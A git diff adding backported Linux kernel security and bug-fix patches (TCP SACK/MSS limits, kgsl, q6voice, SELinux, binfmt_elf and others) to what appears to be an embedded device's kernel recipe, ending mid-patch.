9c251bb..e1d49dd 100644 +--- a/fs/readdir.c ++++ b/fs/readdir.c +@@ -77,9 +77,9 @@ + */ + static int verify_dirent_name(const char *name, int len) + { +- if (WARN_ON_ONCE(!len)) ++ if (!len) + return -EIO; +- if (WARN_ON_ONCE(memchr(name, '/', len))) ++ if (memchr(name, '/', len)) + return -EIO; + return 0; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0518-8961e92e6305-dsp q6voice Check size of shared memory buffer before access.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0518-8961e92e6305-dsp q6voice Check size of shared memory buffer before access.patch new file mode 100644 index 0000000..203a278 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0518-8961e92e6305-dsp q6voice Check size of shared memory buffer before access.patch @@ -0,0 +1,33 @@ +From 8961e92e63050918263578740e28e18d1a6ca8f7 Mon Sep 17 00:00:00 2001 +From: Vatsal Bucha +Date: Tue, 5 Mar 2019 16:00:21 +0530 +Subject: dsp: q6voice: Check size of shared memory buffer before access + +Check buffer size in qdsp_cvs_callback before access in +ul_pkt. + +Change-Id: Ic19994b46086709231656ec747d2df988b7a512f +Signed-off-by: Vatsal Bucha +--- + sound/soc/msm/qdsp6v2/q6voice.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/sound/soc/msm/qdsp6v2/q6voice.c b/sound/soc/msm/qdsp6v2/q6voice.c +index 506611d8..55cccb2 100644 +--- a/sound/soc/msm/qdsp6v2/q6voice.c ++++ b/sound/soc/msm/qdsp6v2/q6voice.c +@@ -6612,6 +6612,11 @@ static int32_t qdsp_cvs_callback(struct apr_client_data *data, void *priv) + + cvs_voc_pkt = v->shmem_info.sh_buf.buf[1].data; + if (cvs_voc_pkt != NULL && common.mvs_info.ul_cb != NULL) { ++ if (v->shmem_info.sh_buf.buf[1].size < ++ ((3 * sizeof(uint32_t)) + cvs_voc_pkt[2])) { ++ pr_err("%s: invalid voc pkt size\n", __func__); ++ return -EINVAL; ++ } + /* cvs_voc_pkt[0] contains tx timestamp */ + common.mvs_info.ul_cb((uint8_t *)&cvs_voc_pkt[3], + cvs_voc_pkt[2], +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0519-b261f167d038-msm kgsl Fix race condition while making page as dirty.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0519-b261f167d038-msm kgsl Fix race condition while making page as dirty.patch new file mode 100644 index 0000000..a0d3558 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0519-b261f167d038-msm kgsl Fix race condition while making page as dirty.patch @@ -0,0 +1,35 @@ +From b261f167d0384fa70405f3f0b2be6a7686aa24c3 Mon Sep 17 00:00:00 2001 +From: Rajesh Kemisetti +Date: Tue, 30 Apr 2019 19:04:30 +0530 +Subject: msm: kgsl: Fix race condition while making page as dirty + +set_page_dirty() is racy if the caller has no +reference against page->mapping->host, and if +the page is unlocked. This is because another +CPU could truncate the page off the mapping and +then free the mapping. + +Use set_page_dirty_lock() to avoid this race condition. + +Change-Id: I517fb9aee66560618c7676b311368f7a7498011f +Signed-off-by: Rajesh Kemisetti +--- + drivers/gpu/msm/kgsl.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/gpu/msm/kgsl.c b/drivers/gpu/msm/kgsl.c +index 26243c5..a27acef 100644 +--- a/drivers/gpu/msm/kgsl.c ++++ b/drivers/gpu/msm/kgsl.c +@@ -397,7 +397,7 @@ kgsl_mem_entry_destroy(struct kref *kref) + entry->memdesc.sgt->nents, i) { + page = sg_page(sg); + for (j = 0; j < (sg->length >> PAGE_SHIFT); j++) +- set_page_dirty(nth_page(page, j)); ++ set_page_dirty_lock(nth_page(page, j)); + } + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0520-43268e7260fd-msm kgsl Verify the offset of the profiling buffer.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0520-43268e7260fd-msm kgsl Verify the offset of the profiling buffer.patch new file mode 100644 index 0000000..1d39ecc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0520-43268e7260fd-msm kgsl Verify the offset of the profiling buffer.patch @@ -0,0 +1,55 @@ +From 43268e7260fd6e7398843af846475d74c70711b9 Mon Sep 17 00:00:00 2001 +From: Harshitha Sai Neelati +Date: Mon, 16 Sep 2019 13:02:28 +0530 +Subject: msm: kgsl: Verify the offset of the profiling buffer + +If a command is using a profiling buffer, make sure that the offset +is within the bounds of the specified memory descriptor. + +Change-Id: Ic0dedbadc77e8eccd957136467bd0c56a1af2dab +Signed-off-by: Jordan Crouse +Signed-off-by: Harshitha Sai Neelati +--- + drivers/gpu/msm/kgsl_cmdbatch.c | 23 +++++++++++++++++++---- + 1 file changed, 19 insertions(+), 4 deletions(-) + +diff --git a/drivers/gpu/msm/kgsl_cmdbatch.c b/drivers/gpu/msm/kgsl_cmdbatch.c +index e3a0483..da54689 100644 +--- a/drivers/gpu/msm/kgsl_cmdbatch.c ++++ b/drivers/gpu/msm/kgsl_cmdbatch.c +@@ -573,13 +573,28 @@ static void add_profiling_buffer(struct kgsl_device *device, + return; + } + +- cmdbatch->profiling_buf_entry = entry; ++ if (!id) { ++ cmdbatch->profiling_buffer_gpuaddr = gpuaddr; ++ } else { ++ u64 off = ++ offset + sizeof(struct kgsl_cmdbatch_profiling_buffer); ++ ++ /* ++ * Make sure there is enough room in the object to store the ++ * entire profiling buffer object ++ */ ++ if (off < offset || off >= entry->memdesc.size) { ++ dev_err(device->dev, ++ "ignore invalid profile offset ctxt %d id %d offset %lld gpuaddr %llx size %lld\n", ++ cmdbatch->context->id, id, offset, gpuaddr, size); ++ kgsl_mem_entry_put(entry); ++ return; ++ } + +- if (id != 0) + cmdbatch->profiling_buffer_gpuaddr = + entry->memdesc.gpuaddr + offset; +- else +- cmdbatch->profiling_buffer_gpuaddr = gpuaddr; ++ } ++ cmdbatch->profiling_buf_entry = entry; + } + + /** +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0521-ab5c7e36a5bf-selinux KASAN slaboutofbounds in xattrgetsecurity.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0521-ab5c7e36a5bf-selinux KASAN slaboutofbounds in xattrgetsecurity.patch new file mode 100644 index 0000000..9ff7bea --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0521-ab5c7e36a5bf-selinux KASAN slaboutofbounds in xattrgetsecurity.patch @@ -0,0 +1,50 @@ +From ab5c7e36a5bfb35e782b79be4ff12555fa7f17d4 Mon Sep 17 00:00:00 2001 +From: Sachin Grover +Date: Thu, 24 May 2018 22:48:55 +0530 +Subject: selinux: KASAN: slab-out-of-bounds in xattr_getsecurity + +Call trace: + [] dump_backtrace+0x0/0x428 + [] show_stack+0x28/0x38 + [] dump_stack+0xd4/0x124 + [] print_address_description+0x68/0x258 + [] kasan_report.part.2+0x228/0x2f0 + [] kasan_report+0x5c/0x70 + [] check_memory_region+0x12c/0x1c0 + [] memcpy+0x34/0x68 + [] xattr_getsecurity+0xe0/0x160 + [] vfs_getxattr+0xc8/0x120 + [] getxattr+0x100/0x2c8 + [] SyS_fgetxattr+0x64/0xa0 + [] el0_svc_naked+0x24/0x28 + +If user get root access and calls security.selinux setxattr() with an +embedded NUL on a file and then if some process performs a getxattr() +on that file with a length greater than the actual length of the string, +it would result in a panic. + +To fix this, add the actual length of the string to the security context +instead of the length passed by the userspace process. + +Change-Id: Ie0b8bfc7c96bc12282b955fb3adf41b3c2d011cd +Signed-off-by: Sachin Grover +--- + security/selinux/ss/services.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/selinux/ss/services.c b/security/selinux/ss/services.c +index 051ee18..31e1254 100644 +--- a/security/selinux/ss/services.c ++++ b/security/selinux/ss/services.c +@@ -1433,7 +1433,7 @@ static int security_context_to_sid_core(const char *scontext, u32 scontext_len, + scontext_len, &context, def_sid); + if (rc == -EINVAL && force) { + context.str = str; +- context.len = scontext_len; ++ context.len = strlen(str) + 1; + str = NULL; + } else if (rc) + goto out_unlock; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0522-4b6fb386eeaa-msm qdsp6v2 Check size of payload before access.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0522-4b6fb386eeaa-msm qdsp6v2 Check size of payload before access.patch new file mode 100644 index 0000000..dd37400 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0522-4b6fb386eeaa-msm qdsp6v2 Check size of payload before access.patch @@ -0,0 +1,29 @@ +From 4b6fb386eeaa3e16215963c32d27ada762ace428 Mon Sep 17 00:00:00 2001 +From: Vatsal Bucha +Date: Fri, 22 Feb 2019 12:42:46 +0530 +Subject: msm: qdsp6v2: Check size of payload before access + +Check size of payload array before access in qdsp_cvp_callback. + +Change-Id: Ic5ea6686a1a09df75ddd5e6fdcdfbd74efff83d8 +Signed-off-by: Vatsal Bucha +--- + sound/soc/msm/qdsp6v2/q6voice.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/q6voice.c b/sound/soc/msm/qdsp6v2/q6voice.c +index 6918914..1ef94ac 100644 +--- a/sound/soc/msm/qdsp6v2/q6voice.c ++++ b/sound/soc/msm/qdsp6v2/q6voice.c +@@ -6952,7 +6952,7 @@ static int32_t qdsp_cvp_callback(struct apr_client_data *data, void *priv) + } + + if (data->opcode == APR_BASIC_RSP_RESULT) { +- if (data->payload_size) { ++ if (data->payload_size >= (2 * sizeof(uint32_t))) { + ptr = data->payload; + + pr_debug("%x %x\n", ptr[0], ptr[1]); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0523-55f0fc7a02de-PATCH inet update the IP ID generation algorithm to higher.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0523-55f0fc7a02de-PATCH inet update the IP ID generation algorithm to higher.patch new file mode 100644 index 0000000..bd7d34c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0523-55f0fc7a02de-PATCH inet update the IP ID generation algorithm to higher.patch @@ -0,0 +1,67 @@ +From 55f0fc7a02de8f12757f4937143d8d5091b2e40b Mon Sep 17 00:00:00 2001 +From: Amit Klein +Date: Thu, 18 Apr 2019 21:07:11 +0000 +Subject: [PATCH] inet: update the IP ID generation algorithm to higher + standards. + +Commit 355b98553789 ("netns: provide pure entropy for net_hash_mix()") +makes net_hash_mix() return a true 32 bits of entropy. When used in the +IP ID generation algorithm, this has the effect of extending the IP ID +generation key from 32 bits to 64 bits. + +However, net_hash_mix() is only used for IP ID generation starting with +kernel version 4.1. Therefore, earlier kernels remain with 32-bit key +no matter what the net_hash_mix() return value is. + +This change addresses the issue by explicitly extending the key to 64 +bits for kernels older than 4.1. + +Signed-off-by: Amit Klein +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + net/ipv4/route.c | 4 +++- + net/ipv6/ip6_output.c | 3 +++ + 2 files changed, 6 insertions(+), 1 deletion(-) + +diff --git a/net/ipv4/route.c b/net/ipv4/route.c +index ede610a4abc8a..5b2a8d04a8a0d 100644 +--- a/net/ipv4/route.c ++++ b/net/ipv4/route.c +@@ -488,13 +488,15 @@ EXPORT_SYMBOL(ip_idents_reserve); + void __ip_select_ident(struct iphdr *iph, int segs) + { + static u32 ip_idents_hashrnd __read_mostly; ++ static u32 ip_idents_hashrnd_extra __read_mostly; + u32 hash, id; + + net_get_random_once(&ip_idents_hashrnd, sizeof(ip_idents_hashrnd)); ++ net_get_random_once(&ip_idents_hashrnd_extra, sizeof(ip_idents_hashrnd_extra)); + + hash = jhash_3words((__force u32)iph->daddr, + (__force u32)iph->saddr, +- iph->protocol, ++ iph->protocol ^ ip_idents_hashrnd_extra, + ip_idents_hashrnd); + id = ip_idents_reserve(hash, segs); + iph->id = htons(id); +diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c +index 2b69a4b965edf..c3cef2d5c0208 100644 +--- a/net/ipv6/ip6_output.c ++++ b/net/ipv6/ip6_output.c +@@ -546,12 +546,15 @@ static void ip6_copy_metadata(struct sk_buff *to, struct sk_buff *from) + static void ipv6_select_ident(struct frag_hdr *fhdr, struct rt6_info *rt) + { + static u32 ip6_idents_hashrnd __read_mostly; ++ static u32 ip6_idents_hashrnd_extra __read_mostly; + u32 hash, id; + + net_get_random_once(&ip6_idents_hashrnd, sizeof(ip6_idents_hashrnd)); ++ net_get_random_once(&ip6_idents_hashrnd_extra, sizeof(ip6_idents_hashrnd_extra)); + + hash = __ipv6_addr_jhash(&rt->rt6i_dst.addr, ip6_idents_hashrnd); + hash = __ipv6_addr_jhash(&rt->rt6i_src.addr, hash); ++ hash = jhash_1word(hash, ip6_idents_hashrnd_extra); + + id = ip_idents_reserve(hash, 1); + fhdr->identification = htonl(id); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0524-119b8e38491b-binfmtelf switch to new creds when switching to new mm.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0524-119b8e38491b-binfmtelf switch to new creds when switching to new mm.patch new file mode 100644 index 0000000..8f3ac07 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0524-119b8e38491b-binfmtelf switch to new creds when switching to new mm.patch @@ -0,0 +1,59 @@ +From 119b8e38491b9bc21efe06ed3f5a1b3d879c4998 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Mon, 22 Aug 2016 16:41:46 -0700 +Subject: binfmt_elf: switch to new creds when switching to new mm +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 9f834ec18defc369d73ccf9e87a2790bfa05bf46 upstream. + +We used to delay switching to the new credentials until after we had +mapped the executable (and possible elf interpreter). That was kind of +odd to begin with, since the new executable will actually then _run_ +with the new creds, but whatever. + +The bigger problem was that we also want to make sure that we turn off +prof events and tracing before we start mapping the new executable +state. So while this is a cleanup, it's also a fix for a possible +information leak. + +Reported-by: Robert Święcki +Tested-by: Peter Zijlstra +Acked-by: David Howells +Acked-by: Oleg Nesterov +Acked-by: Andy Lutomirski +Acked-by: Eric W. Biederman +Cc: Willy Tarreau +Cc: Kees Cook +Cc: Al Viro +Signed-off-by: Linus Torvalds +Cc: Federico Manuel Bento +Signed-off-by: Greg Kroah-Hartman +--- + fs/binfmt_elf.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c +index c3b57886b5bc3..f82aebce97d04 100644 +--- a/fs/binfmt_elf.c ++++ b/fs/binfmt_elf.c +@@ -734,6 +734,7 @@ static int load_elf_binary(struct linux_binprm *bprm) + current->flags |= PF_RANDOMIZE; + + setup_new_exec(bprm); ++ install_exec_creds(bprm); + + /* Do this so that we can load the interpreter, if need be. We will + change some of these later */ +@@ -935,7 +936,6 @@ static int load_elf_binary(struct linux_binprm *bprm) + goto out; + #endif /* ARCH_HAS_SETUP_ADDITIONAL_PAGES */ + +- install_exec_creds(bprm); + retval = create_elf_tables(bprm, &loc->elf_ex, + load_addr, interp_load_addr); + if (retval < 0) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0525.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0525.diff new file mode 100644 index 0000000..04c0902 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0525.diff @@ -0,0 +1,120 @@ +diff --git a/include/linux/tcp.h b/include/linux/tcp.h +index 4a2578f..0c53c8ef 100644 +--- a/include/linux/tcp.h ++++ b/include/linux/tcp.h +@@ -383,4 +383,7 @@ + return 0; + } + ++int tcp_skb_shift(struct sk_buff *to, struct sk_buff *from, int pcount, ++ int shiftlen); ++ + #endif /* _LINUX_TCP_H */ +diff --git a/include/net/tcp.h b/include/net/tcp.h +index 17ff37d..d03c65e 100644 +--- a/include/net/tcp.h ++++ b/include/net/tcp.h +@@ -54,6 +54,8 @@ + + #define MAX_TCP_HEADER (128 + MAX_HEADER) + #define MAX_TCP_OPTION_SPACE 40 ++#define TCP_MIN_SND_MSS 48 ++#define TCP_MIN_GSO_SIZE (TCP_MIN_SND_MSS - MAX_TCP_OPTION_SPACE) + + /* + * Never offer a window over 32767 without using window scaling. Some +diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c +index 2b48ba2..99bb321 100644 +--- a/net/ipv4/tcp.c ++++ b/net/ipv4/tcp.c +@@ -3131,6 +3131,7 @@ + int max_rshare, max_wshare, cnt; + unsigned int i; + ++ BUILD_BUG_ON(TCP_MIN_SND_MSS <= MAX_TCP_OPTION_SPACE); + BUILD_BUG_ON(sizeof(struct tcp_skb_cb) > sizeof(skb->cb)); + + percpu_counter_init(&tcp_sockets_allocated, 0, GFP_KERNEL); +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index cc13e50..9f8aee9 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -1315,7 +1315,7 @@ + TCP_SKB_CB(skb)->seq += shifted; + + tcp_skb_pcount_add(prev, pcount); +- BUG_ON(tcp_skb_pcount(skb) < pcount); ++ WARN_ON_ONCE(tcp_skb_pcount(skb) < pcount); + tcp_skb_pcount_add(skb, -pcount); + + /* When we're adding to gso_segs == 1, gso_size will be zero, +@@ -1381,6 +1381,21 @@ + return !skb_headlen(skb) && skb_is_nonlinear(skb); + } + ++int tcp_skb_shift(struct sk_buff *to, struct sk_buff *from, ++ int pcount, int shiftlen) ++{ ++ /* TCP min gso_size is 8 bytes (TCP_MIN_GSO_SIZE) ++ * Since TCP_SKB_CB(skb)->tcp_gso_segs is 16 bits, we need ++ * to make sure not storing more than 65535 * 8 bytes per skb, ++ * even if current MSS is bigger. ++ */ ++ if (unlikely(to->len + shiftlen >= 65535 * TCP_MIN_GSO_SIZE)) ++ return 0; ++ if (unlikely(tcp_skb_pcount(to) + pcount > 65535)) ++ return 0; ++ return skb_shift(to, from, shiftlen); ++} ++ + /* Try collapsing SACK blocks spanning across multiple skbs to a single + * skb. + */ +@@ -1392,6 +1407,7 @@ + struct tcp_sock *tp = tcp_sk(sk); + struct sk_buff *prev; + int mss; ++ int next_pcount; + int pcount = 0; + int len; + int in_sack; +@@ -1486,7 +1502,7 @@ + if (!after(TCP_SKB_CB(skb)->seq + len, tp->snd_una)) + goto fallback; + +- if (!skb_shift(prev, skb, len)) ++ if (!tcp_skb_shift(prev, skb, pcount, len)) + goto fallback; + if (!tcp_shifted_skb(sk, skb, state, pcount, len, mss, dup_sack)) + goto out; +@@ -1505,11 +1521,11 @@ + goto out; + + len = skb->len; +- if (skb_shift(prev, skb, len)) { +- pcount += tcp_skb_pcount(skb); +- tcp_shifted_skb(sk, skb, state, tcp_skb_pcount(skb), len, mss, 0); ++ next_pcount = tcp_skb_pcount(skb); ++ if (tcp_skb_shift(prev, skb, next_pcount, len)) { ++ pcount += next_pcount; ++ tcp_shifted_skb(sk, skb, state, next_pcount, len, mss, 0); + } +- + out: + state->fack_count += pcount; + return prev; +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index 893bb64..2ec9f8e 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -1318,8 +1318,8 @@ + mss_now -= icsk->icsk_ext_hdr_len; + + /* Then reserve room for full set of TCP options and 8 bytes of data */ +- if (mss_now < 48) +- mss_now = 48; ++ if (mss_now < TCP_MIN_SND_MSS) ++ mss_now = TCP_MIN_SND_MSS; + return mss_now; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0526.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0526.diff new file mode 100644 index 0000000..4a14adb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0526.diff @@ -0,0 +1,40 @@ +diff --git a/include/uapi/linux/snmp.h b/include/uapi/linux/snmp.h +index df40137..baa4995 100644 +--- a/include/uapi/linux/snmp.h ++++ b/include/uapi/linux/snmp.h +@@ -265,6 +265,7 @@ + LINUX_MIB_TCPWANTZEROWINDOWADV, /* TCPWantZeroWindowAdv */ + LINUX_MIB_TCPSYNRETRANS, /* TCPSynRetrans */ + LINUX_MIB_TCPORIGDATASENT, /* TCPOrigDataSent */ ++ LINUX_MIB_TCPWQUEUETOOBIG, /* TCPWqueueTooBig */ + __LINUX_MIB_MAX + }; + +diff --git a/net/ipv4/proc.c b/net/ipv4/proc.c +index 8e3eb39..483f1b9 100644 +--- a/net/ipv4/proc.c ++++ b/net/ipv4/proc.c +@@ -287,6 +287,7 @@ + SNMP_MIB_ITEM("TCPWantZeroWindowAdv", LINUX_MIB_TCPWANTZEROWINDOWADV), + SNMP_MIB_ITEM("TCPSynRetrans", LINUX_MIB_TCPSYNRETRANS), + SNMP_MIB_ITEM("TCPOrigDataSent", LINUX_MIB_TCPORIGDATASENT), ++ SNMP_MIB_ITEM("TCPWqueueTooBig", LINUX_MIB_TCPWQUEUETOOBIG), + SNMP_MIB_SENTINEL + }; + +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index 2ec9f8e..4acccf7 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -1152,6 +1152,11 @@ + if (nsize < 0) + nsize = 0; + ++ if (unlikely((sk->sk_wmem_queued >> 1) > sk->sk_sndbuf)) { ++ NET_INC_STATS(sock_net(sk), LINUX_MIB_TCPWQUEUETOOBIG); ++ return -ENOMEM; ++ } ++ + if (skb_unclone(skb, gfp)) + return -ENOMEM; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0527.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0527.diff new file mode 100644 index 0000000..cc27bf4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0527.diff @@ -0,0 +1,86 @@ +diff --git a/Documentation/networking/ip-sysctl.txt b/Documentation/networking/ip-sysctl.txt +index 909d822..186f8cb 100644 +--- a/Documentation/networking/ip-sysctl.txt ++++ b/Documentation/networking/ip-sysctl.txt +@@ -223,6 +223,14 @@ + Path MTU discovery (MTU probing). If MTU probing is enabled, + this is the initial MSS used by the connection. + ++tcp_min_snd_mss - INTEGER ++ TCP SYN and SYNACK messages usually advertise an ADVMSS option, ++ as described in RFC 1122 and RFC 6691. ++ If this ADVMSS option is smaller than tcp_min_snd_mss, ++ it is silently capped to tcp_min_snd_mss. ++ ++ Default : 48 (at least 8 bytes of payload per segment) ++ + tcp_congestion_control - STRING + Set the congestion control algorithm to be used for new + connections. The algorithm "reno" is always available, but +diff --git a/include/net/netns/ipv4.h b/include/net/netns/ipv4.h +index 0ffef1a..2e1cd35 100644 +--- a/include/net/netns/ipv4.h ++++ b/include/net/netns/ipv4.h +@@ -81,6 +81,7 @@ + + int sysctl_fwmark_reflect; + int sysctl_tcp_fwmark_accept; ++ int sysctl_tcp_min_snd_mss; + + struct ping_group_range ping_group_range; + +diff --git a/net/ipv4/sysctl_net_ipv4.c b/net/ipv4/sysctl_net_ipv4.c +index ea2a80d..0c15239 100644 +--- a/net/ipv4/sysctl_net_ipv4.c ++++ b/net/ipv4/sysctl_net_ipv4.c +@@ -35,6 +35,8 @@ + static int ip_local_port_range_max[] = { 65535, 65535 }; + static int tcp_adv_win_scale_min = -31; + static int tcp_adv_win_scale_max = 31; ++static int tcp_min_snd_mss_min = TCP_MIN_SND_MSS; ++static int tcp_min_snd_mss_max = 65535; + static int ip_ttl_min = 1; + static int ip_ttl_max = 255; + static int tcp_syn_retries_min = 1; +@@ -894,6 +896,15 @@ + .proc_handler = proc_dointvec, + }, + { ++ .procname = "tcp_min_snd_mss", ++ .data = &init_net.ipv4.sysctl_tcp_min_snd_mss, ++ .maxlen = sizeof(int), ++ .mode = 0644, ++ .proc_handler = proc_dointvec_minmax, ++ .extra1 = &tcp_min_snd_mss_min, ++ .extra2 = &tcp_min_snd_mss_max, ++ }, ++ { + .procname = "tcp_fwmark_accept", + .data = &init_net.ipv4.sysctl_tcp_fwmark_accept, + .maxlen = sizeof(int), +diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c +index 4995e0f..0472e2f 100644 +--- a/net/ipv4/tcp_ipv4.c ++++ b/net/ipv4/tcp_ipv4.c +@@ -2464,6 +2464,7 @@ + *per_cpu_ptr(net->ipv4.tcp_sk, cpu) = sk; + } + net->ipv4.sysctl_tcp_ecn = 2; ++ net->ipv4.sysctl_tcp_min_snd_mss = TCP_MIN_SND_MSS; + return 0; + + fail: +diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c +index 4acccf7..11a6dda 100644 +--- a/net/ipv4/tcp_output.c ++++ b/net/ipv4/tcp_output.c +@@ -1323,8 +1323,7 @@ + mss_now -= icsk->icsk_ext_hdr_len; + + /* Then reserve room for full set of TCP options and 8 bytes of data */ +- if (mss_now < TCP_MIN_SND_MSS) +- mss_now = TCP_MIN_SND_MSS; ++ mss_now = max(mss_now, sock_net(sk)->ipv4.sysctl_tcp_min_snd_mss); + return mss_now; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0528.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0528.diff new file mode 100644 index 0000000..25fbdf0 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0528.diff @@ -0,0 +1,21 @@ +diff --git a/net/ipv4/tcp_timer.c b/net/ipv4/tcp_timer.c +index 712c598..2228fc6 100644 +--- a/net/ipv4/tcp_timer.c ++++ b/net/ipv4/tcp_timer.c +@@ -116,6 +116,8 @@ + + static void tcp_mtu_probing(struct inet_connection_sock *icsk, struct sock *sk) + { ++ struct net *net = sock_net(sk); ++ + /* Black hole detection */ + if (sysctl_tcp_mtu_probing) { + if (!icsk->icsk_mtup.enabled) { +@@ -128,6 +130,7 @@ + mss = tcp_mtu_to_mss(sk, icsk->icsk_mtup.search_low) >> 1; + mss = min(sysctl_tcp_base_mss, mss); + mss = max(mss, 68 - tp->tcp_header_len); ++ mss = max(mss, net->ipv4.sysctl_tcp_min_snd_mss); + icsk->icsk_mtup.search_low = tcp_mss_to_mtu(sk, mss); + tcp_sync_mss(sk, icsk->icsk_pmtu_cookie); + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0529-20d4e7627b14-tty mark Siemens R3964 line discipline as BROKEN.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0529-20d4e7627b14-tty mark Siemens R3964 line discipline as BROKEN.patch new file mode 100644 index 0000000..a357f5c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0529-20d4e7627b14-tty mark Siemens R3964 line discipline as BROKEN.patch @@ -0,0 +1,47 @@ +From 20d4e7627b1451e68ddde913b5a289664716c318 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Fri, 5 Apr 2019 15:39:26 +0200 +Subject: tty: mark Siemens R3964 line discipline as BROKEN + +commit c7084edc3f6d67750f50d4183134c4fb5712a5c8 upstream. + +The n_r3964 line discipline driver was written in a different time, when +SMP machines were rare, and users were trusted to do the right thing. +Since then, the world has moved on but not this code, it has stayed +rooted in the past with its lovely hand-crafted list structures and +loads of "interesting" race conditions all over the place. + +After attempting to clean up most of the issues, I just gave up and am +now marking the driver as BROKEN so that hopefully someone who has this +hardware will show up out of the woodwork (I know you are out there!) +and will help with debugging a raft of changes that I had laying around +for the code, but was too afraid to commit as odds are they would break +things. + +Many thanks to Jann and Linus for pointing out the initial problems in +this codebase, as well as many reviews of my attempts to fix the issues. +It was a case of whack-a-mole, and as you can see, the mole won. + +Reported-by: Jann Horn +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Linus Torvalds +--- + drivers/char/Kconfig | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig +index 68dabd7edd1de..822add2bc226d 100644 +--- a/drivers/char/Kconfig ++++ b/drivers/char/Kconfig +@@ -380,7 +380,7 @@ config XILINX_HWICAP + + config R3964 + tristate "Siemens R3964 line discipline" +- depends on TTY ++ depends on TTY && BROKEN + ---help--- + This driver allows synchronous communication with devices using the + Siemens R3964 packet protocol. Unless you are dealing with special +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0530-9670c4d542aa-scsi megaraidsas return error when create DMA pool failed.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0530-9670c4d542aa-scsi megaraidsas return error when create DMA pool failed.patch new file mode 100644 index 0000000..6881184 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0530-9670c4d542aa-scsi megaraidsas return error when create DMA pool failed.patch @@ -0,0 +1,79 @@ +From 9670c4d542aa2fac5dfa7f95f6e79c25dd1e11f0 Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Fri, 15 Feb 2019 19:50:27 +0800 +Subject: scsi: megaraid_sas: return error when create DMA pool failed + +[ Upstream commit bcf3b67d16a4c8ffae0aa79de5853435e683945c ] + +when create DMA pool for cmd frames failed, we should return -ENOMEM, +instead of 0. +In some case in: + + megasas_init_adapter_fusion() + + -->megasas_alloc_cmds() + -->megasas_create_frame_pool + create DMA pool failed, + --> megasas_free_cmds() [1] + + -->megasas_alloc_cmds_fusion() + failed, then goto fail_alloc_cmds. + -->megasas_free_cmds() [2] + +we will call megasas_free_cmds twice, [1] will kfree cmd_list, +[2] will use cmd_list.it will cause a problem: + +Unable to handle kernel NULL pointer dereference at virtual address +00000000 +pgd = ffffffc000f70000 +[00000000] *pgd=0000001fbf893003, 